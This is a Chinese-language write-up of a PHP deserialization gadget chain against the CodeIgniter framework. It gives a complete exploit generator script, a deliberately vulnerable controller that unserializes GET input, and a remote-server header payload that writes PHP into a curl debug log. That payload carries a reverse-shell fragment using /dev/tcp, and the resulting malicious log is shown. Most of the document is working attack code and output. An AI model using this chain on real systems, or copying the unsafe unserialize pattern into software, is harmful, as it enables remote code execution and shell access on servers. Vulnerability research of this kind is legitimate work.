找到一条很有意思的codeigniter框架的链。
- namespace CodeIgniter\HTTP {
- class CURLRequest {
- protected $config = [
- "debug" => "./eee.php"
- ];
- }
- }
-
- namespace CodeIgniter\Session\Handlers {
- class MemcachedHandler{
- public function __construct($memcached, $url){
- $this->memcached = $memcached;
- $this->lockKey = $url;
- }
- }
- }
-
- namespace CodeIgniter\Cache\Handlers {
- class RedisHandler{
- public $redis;
- public function __construct($redis){
- $this -> redis = $redis;
- }
- }
- }
-
-
- namespace {
- $ip = $argv[1];
- $port = $argv[2];
- $exp = array(
- new \CodeIgniter\Cache\Handlers\RedisHandler(
- new \CodeIgniter\Session\Handlers\MemcachedHandler(
- new \CodeIgniter\HTTP\CURLRequest(),
- "http://$ip:$port/"
- )
- )
- );
-
-
- echo urlencode(serialize($exp));
- }
下载最新的CodeIgniter框架,将以下代码写入app/controller/Home.php。
- namespace App\Controllers;
-
- class Home extends BaseController
- {
- public function index()
- {
- $obj = @unserialize($_GET['obj']);
- var_dump($obj);
- return view('welcome_message');
- }
- }
准备一个远程服务器,并填入php代码到index.php。之后在index.php所在目录启动一个简单的php http服务器。
执行上述exp并复制exp的输出。
php exp.php remote_server_ip remote_server_port
在本地启动CodeIgniter框架,将exp的输出粘贴到obj参数中。然后,此exp将发送请求到远程服务器,并在本地写入eee.php。访问eee.php将执行phpinfo。
新gadget的起始向量仍然是CodeIgniter\Cache\Handlers\RedisHandler::__destruct方法。
- public function __destruct()
- {
- if (isset($this->redis))
- {
- $this->redis->close();
- }
- }
将redis设置为CodeIgniter\Session\Handlers\MemcachedHandler'类的对象,然后我们跳到CodeIgniter\Session\Handlers\MemcachedHandler::close方法。
- public function close(): bool
- {
- if (isset($this->memcached))
- {
- isset($this->lockKey) && $this->memcached->delete($this->lockKey);
- ...
将lockKey分配给一个特别准备的远程服务器ip,memcached分配给一个CodeIgniter\HTTP\CURLRequest类的对象,这个对象,在config中设置debug选项为一个php文件。
之后我们将跳到CodeIgniter\HTTP\CURLRequest::delete方法。
- public function delete(string $url, array $options = []): ResponseInterface
- {
- return $this->request('delete', $url, $options);
- }
这个方法将http请求发送到设置的远程服务器。并且后续的调用将设置$curlOptions[CURLOPT_STDERR]为我们之前指定的php文件。设置$curlOptions的方法是CodeIgniter\HTTP\CURLRequest::setCURLOptions。
- protected function setCURLOptions(array $curlOptions = [], array $config = [])
- {
- ...
- if ($config['debug'])
- {
- $curlOptions[CURLOPT_VERBOSE] = 1;
- $curlOptions[CURLOPT_STDERR] = is_string($config['debug']) ? fopen($config['debug'], 'a+') : fopen('php://stderr', 'w');
- }
- ...
- }
设置好的远程服务器将对发出的请求作出响应,并在响应头中返回一段php代码。这段php代码会被写入我们指定的curl日志文件中,也就是那个php文件。
远程服务器上的index.php。
- header("X-Powered-By: & /dev/tcp/ip/port 0>&1\"');?>");
恶意的curl日志文件。
- * Expire in 0 ms for 6 (transfer 0x???)
- * Trying ???...
- * TCP_NODELAY set
- * Expire in 200 ms for 4 (transfer 0x???)
- * Connected to ??? (???) port ??? (#0)
- > DELETE / HTTP/1.1
- Host: ???
- User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Connection: keep-alive
- Upgrade-Insecure-Requests: 1
- Sec-Fetch-Dest: document
- Sec-Fetch-Mode: navigate
- Sec-Fetch-Site: none
- Sec-Fetch-User: ?1
- < HTTP/1.1 200 OK
- < Host: ???
- < Date: Thu, 26 Aug 2021 06:07:19 GMT
- < Connection: close
- < X-Powered-By: & /dev/tcp/ip/port 0>&1"');?>
- < Content-type: text/html; charset=UTF-8
- <
- * Closing connection 0